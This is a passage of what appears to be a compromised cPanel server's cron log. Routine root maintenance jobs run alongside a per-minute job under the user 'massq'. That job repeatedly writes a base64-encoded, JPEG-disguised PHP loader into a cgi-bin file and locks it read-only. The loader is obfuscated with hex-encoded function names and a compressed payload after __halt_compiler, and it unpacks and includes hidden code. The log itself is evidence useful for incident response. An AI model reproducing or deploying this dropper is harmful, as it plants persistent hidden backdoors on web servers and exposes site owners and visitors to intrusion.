"$fp")
Sep 10 02:23:01 server CROND[19812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:24:01 server CROND[20192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:24:01 server CROND[20194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:24:01 server CROND[20193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:25:01 server CROND[20577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:25:01 server CROND[20581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:25:01 server CROND[20579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:25:01 server CROND[20584]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:25:01 server CROND[20582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:25:01 server CROND[20580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:25:01 server CROND[20583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:25:01 server CROND[20585]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 02:26:01 server CROND[21625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:26:01 server CROND[21624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:26:01 server CROND[21626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:27:01 server CROND[22020]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 02:27:01 server CROND[22021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:27:01 server CROND[22022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:27:01 server CROND[22023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:28:02 server CROND[22399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:28:02 server CROND[22400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:28:02 server CROND[22401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:29:01 server CROND[22796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:29:01 server CROND[22801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:29:01 server CROND[22803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:30:01 server CROND[23340]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:30:01 server CROND[23342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:30:01 server CROND[23341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:30:01 server CROND[23344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:30:01 server CROND[23345]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:30:01 server CROND[23343]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:30:01 server CROND[23346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:30:01 server CROND[23347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:31:01 server CROND[24180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:31:01 server CROND[24181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:31:01 server CROND[24182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:32:01 server CROND[24659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:32:01 server CROND[24660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:32:01 server CROND[24661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:33:01 server CROND[25044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:33:01 server CROND[25045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:33:01 server CROND[25046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:34:01 server CROND[25429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:34:01 server CROND[25430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:34:01 server CROND[25431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:35:01 server CROND[25831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:35:01 server CROND[25833]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:35:01 server CROND[25835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:35:01 server CROND[25836]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 02:35:01 server CROND[25841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
